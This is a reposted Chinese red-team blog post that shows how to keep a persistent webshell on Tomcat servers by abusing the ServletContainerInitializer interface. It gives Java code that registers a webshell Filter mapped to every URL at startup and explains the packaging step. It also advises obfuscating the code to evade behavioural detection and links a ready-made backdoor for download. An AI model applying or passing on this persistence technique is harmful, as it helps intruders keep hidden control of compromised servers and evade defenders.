一种tomcat中间件留持久化后门的思路
2021-04-02 13:19:19
Author: gv7.me(查看原文)
阅读量:93
收藏
0x01 背景
在红队行动中,内存马虽然好用,但是它存在的最大的问题是重启之后就失效了。这时候留持久化后门就是一个刚需了。今天简单分享一个构造Tomcat中间件持久化后门的思路。
0x02 原理
相信通过@Filter/@Servlet
标签来实现Tomcat后门的想法已经被用烂了,这里分享一个比较冷门的接口ServletContainerInitializer
。它是Servlet 3.0
新增的一个接口,主要用于在容器启动阶段通过编程风格注册web三大组件Filter
, Servlet
以及Listener
,以取代通过web.xml配置注册,减少了对配置的依赖。我们可以用这样的机制来注册一个实现了webshell功能的组件,下面以注册Filter为例简单示范一下。
0x03 实现
首先我们编写一个class实现ServletContainerInitializer
接口,其中onStartup
方法会在Tomcat中间件重启加载当前webapp会优先执行这个方法。通过改方法,我们可以注册一个webshell的filter。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package org.apache;
import javax.servlet.*; import javax.servlet.annotation.HandlesTypes; import java.util.EnumSet; import java.util.Set;
@HandlesTypes({MainFilter.class}) public class MainFilterInitializer implements ServletContainerInitializer { public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException { FilterRegistration.Dynamic filter = servletContext.addFilter(MainFilter.class.getSimpleName(), MainFilter.class); EnumSet<DispatcherType> dispatcherTypes = EnumSet.allOf(DispatcherType.class); dispatcherTypes.add(DispatcherType.REQUEST); dispatcherTypes.add(DispatcherType.FORWARD); filter.addMappingForUrlPatterns(dispatcherTypes, true, "/*"); } }
|
最后在打包jar之前创建一个文件META-INF/services/javax.servlet.ServletContainerInitializer
,并填写以上class名即可。
为了兼容性我们最好使用jdk1.5进行编译,同时为了防止被行为分析我们最好对代码进行混淆。
最后分享给大家一个我自己做好的一个后门给大家做一个参考。
下载地址
文章来源: http://gv7.me/articles/2021/an-idea-of-keeping-persistent-backdoor-in-tomcat-middleware/
如有侵权请联系:admin#unsafe.sh